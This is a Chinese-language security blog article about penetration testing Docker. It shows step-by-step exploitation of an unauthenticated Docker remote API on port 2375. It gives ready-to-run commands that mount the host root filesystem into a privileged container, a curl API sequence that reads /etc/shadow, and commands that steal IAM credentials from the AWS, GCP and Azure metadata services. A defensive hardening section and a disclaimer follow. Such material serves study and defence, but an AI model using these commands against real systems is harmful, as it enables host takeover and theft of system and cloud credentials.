文章总结: 该文档详细分析了Docker2375端口未授权访问漏洞的完整渗透测试流程,从架构原理到利用方法,包括通过挂载宿主机根目录实现权限提升的具体命令和API调用方式,并提供了容器内敏感信息挖掘技巧。最后给出从镜像审计、配置加固到运行时监控的纵深防御建议,强调管理端口防护和最小权限原则的重要性。 综合评分: 85 文章分类: 渗透测试,漏洞分析,云安全,安全建设,实战经验
一个 2375 端口,30 秒拿下整台宿主机——Docker 渗透实战全流程
原创
极客零零七 极客零零七
极客零零七
2026年6月21日 06:00 加拿大
在小说阅读器读本章
去阅读
很多人以为容器是一道”隔离墙”,但在渗透测试里,它常常是宿主机门口那把忘了锁的锁。一个对公网裸奔的 2375 端口、一行 -v /:/mnt,攻击者就能从容器直接读写宿主机的 /etc/shadow。这篇把 Docker 从架构原理、未授权访问、宿主机提权到容器内后渗透的完整链路走一遍,每条命令都可直接复现;最后给出一套从构建到运行时的纵深防御基线。全程仅用于授权测试与自有环境,请勿越界。
一、 Docker 架构与基础组件
在深入渗透测试之前,理解 Docker 的底层运行机制是关键。Docker 并不是一个孤立的程序,而是由多个核心组件协同工作的生态系统:
- containerd:负责容器完整生命周期管理的底层核心运行时(包括镜像传输、存储、执行及网络监控)。它抽象了操作系统底层的系统调用。
- runc:符合 OCI(Open Container Initiative)标准的轻量级通用容器运行时,由
containerd调用来真正启动和管理容器。 - gRPC:用于
docker-engine与containerd之间的高效通信。
延伸对比:Podman 与 Docker 的客户端-服务器(C/S)架构及守护进程(Daemon)模式不同,Podman 采用无守护进程(Daemonless) 架构,并天然支持非 root 容器(Rootless)。这意味着容器以启动用户的权限运行,即便容器被攻破,攻击者也极难直接获取宿主机的 root 权限,安全性显著提升。
二、 端口暴露:2375 与 2376 未授权访问漏洞
当 Docker 配置了远程管理 API 且缺乏严格的认证时,会成为攻击者最完美的突破口。
1. 端口辨析
- 2375/TCP:Docker 远程 API 的默认未加密端口。如果未配置认证,任何人都可以通过该接口完全控制 Docker 守护进程。
- 2376/TCP:受 TLS 保护的认证端口,正确配置下需客户端证书(mTLS)才能访问。注意:
curl --insecure(-k)只跳过服务端证书校验,并不提供客户端证书,因此对配置正确的 2376 无法未授权利用——真正的突破口几乎都在裸奔的 2375 上。
2. 漏洞探测与枚举
当使用 Nmap 扫出 2375 端口开放后,可以通过以下方式进行信息收集:
# 方式一:利用 curl 获取 Docker 版本信息curl -s http://<TARGET_IP>:2375/version | jq
# 方式二:直接利用本地 docker 客户端交互(推荐)docker -H tcp://<TARGET_IP>:2375 versiondocker -H tcp://<TARGET_IP>:2375 ps -a
安全小技巧:为了避免每次都输入 -H 参数,可以直接执行 export DOCKER_HOST="tcp://<TARGET_IP>:2375"。
三、 核心利用:从未授权访问到宿主机提权
一旦确认 2375 端口存在未授权访问,攻击者可以通过挂载宿主机根目录的方式,实现全自动的宿主机权限提升。
1. 极速提权命令(Docker CLI 场景)
docker -H tcp://<TARGET_IP>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
原理解析:
-v /:/mnt:将宿主机的根目录(/)挂载到容器的/mnt目录下。这一步是提权的核心——仅凭此挂载 +chroot,已足以读写整台宿主机。--privileged:赋予容器几乎与宿主机相同的内核能力(Capabilities)。在 2375 未授权场景下它并非必需,但会让后续内核级操作(如加载模块、访问设备)更顺手。- 进入容器后,直接执行
chroot /mnt bash或直接查看/mnt/etc/shadow,即可篡改或窃取宿主机的用户凭证。
2. 极端场景下的利用(仅能通过 Curl 交互)
如果在特定网络环境下无法使用 Docker 客户端,也可以通过原生 curl 调用 API 接口来创建并启动恶意容器。
注意:以下示例针对未授权的 2375(http) 端口。
Binds与Privileged必须放在HostConfig内,放在 payload 顶层会被 API 忽略,导致挂载与特权均不生效。
- 第一步:创建容器,绑定宿主机根目录
curl -s -X POST -H "Content-Type: application/json" \ http://<TARGET_IP>:2375/containers/create?name=exploit \ -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "/dev/null"], "HostConfig": {"Binds": ["/:/mnt"], "Privileged": true}}'
- 第二步:启动该容器
curl -s -X POST http://<TARGET_IP>:2375/containers/<CONTAINER_ID>/start
- 第三步:创建 exec 实例(返回一个 exec Id)
curl -s -X POST -H "Content-Type: application/json" \ http://<TARGET_IP>:2375/containers/<CONTAINER_ID>/exec \ -d '{"AttachStdout": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
- 第四步:启动 exec,真正执行命令
containers/.../exec仅创建实例,必须再调用/exec/<EXEC_ID>/start才会运行:
curl -s -X POST -H "Content-Type: application/json" \ http://<TARGET_IP>:2375/exec/<EXEC_ID>/start \ -d '{"Detach": false, "Tty": false}'
四、 容器内后渗透:敏感信息挖掘
当你成功攻破某个容器并拿到 Shell 后,不要急于寻找逃逸漏洞,容器内部往往也持久化了大量的敏感资产:
- 环境变量(Environment Variables):执行
env或通过docker inspect查看容器详情,开发人员经常将数据库密码、API 密钥、Token 写入环境变量。 - 集群与云凭证:在云环境或 Kubernetes 中,可通过请求元数据服务(Metadata Service,统一入口
169.254.169.254)窃取 IAM 凭证。注意三大云的路径与认证头各不相同,且 AWS 现已默认 IMDSv2(需先 PUT 取 token):
# AWS(IMDSv1,旧实例仍可用)wget -qO- http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS(IMDSv2,需先取 token) TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 60") curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP(必须带 Metadata-Flavor 头) curl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Azure(必须带 Metadata:true 头) curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/"
- 挂载卷与 Secret:检查
/run/secrets/目录或通过mount命令查看是否有宿主机的敏感路径或证书被不当挂载。
五、 Docker 纵深防御与安全基线
针对上述高危暴露面,企业与运维人员应采取“左移”策略,从镜像构建、配置审计到动态监控进行全面收敛:
1. 静态配置与镜像审计
- Docker 守护进程安全审计:使用 docker-bench-security 或 dockscan定期对宿主机进行 CIS 基线检查。
- Dockerfile 语法审计:在 CI/CD 流程中引入
hadolint或dockerfilelint,禁止在 Dockerfile 中写死凭证、禁止使用未固定版本或来源不可信的基础镜像(坚持镜像摘要 digest 锁定 + 官方/可信源)、限制以USER root运行容器。 - 镜像漏洞扫描:部署
Clair或Trivy,在镜像推送到私有仓库(如 5000 端口的 Docker Registry)前进行 CVE 漏洞扫描。
2. 运行时动态监控(Runtime Security)
即使配置再完美,也需要防御 0-day 漏洞。引入 Falco 等内核级监控工具,通过编译内核模块(Kernel Module)或 eBPF 捕获系统调用:
- 监控指标:当有特权容器启动(
Privileged container started)、敏感路径被挂载(Container with sensitive mount started)或容器内异常派生 Shell(A shell was spawned in a container)时,Falco 会实时告警并记录事件线索。
总结
Docker 渗透测试的本质在于“寻找隔离边界的裂缝”。无论是由于运维疏忽导致的 2375 端口未授权暴露,还是由于开发贪图方便配置的 --privileged 特权模式,都是打破容器隔离的致命伤。通过在构建时实施 Lint 审计、在部署时收敛管理端口、在运行时引入动态审计,才能构建起完整的容器安全纵深防御体系。
记住攻防双方共用的那张清单:别让管理端口裸奔、别用 root 跑容器、别把宿主机根目录挂进去、别在运行时放过特权容器告警。 攻击者照着找洞,防御者照着堵洞。
关注「极客零零七」,每周实战攻防干货。 回复「提权」获取 Windows + Linux 提权速查表 · 回复「AD 攻击」获取 AD 域攻击手册
参考资料
https://github.com/docker/docker-bench-security https://github.com/kost/dockscan
推荐阅读
告别只会搜索的聊天机器人:如何用 754 个专业 Playbook,把 AI 变成你的高级安全分析师?
AI 自动挖洞 Benchmark:漏洞研究员真的要失业了吗?
[深度研判] 云安全攻防概览:当边界消亡,IAM 就是你最后的“护城河”
深度解析 OpenAI Daybreak:GPT-5.5 与智能体架构如何重塑代码安全防线?
【技术深潜】潘多拉的魔盒:拆解Anthropic Project Glasswing
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:极客零零七 极客零零七 极客零零七《一个 2375 端口,30 秒拿下整台宿主机——Docker 渗透实战全流程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论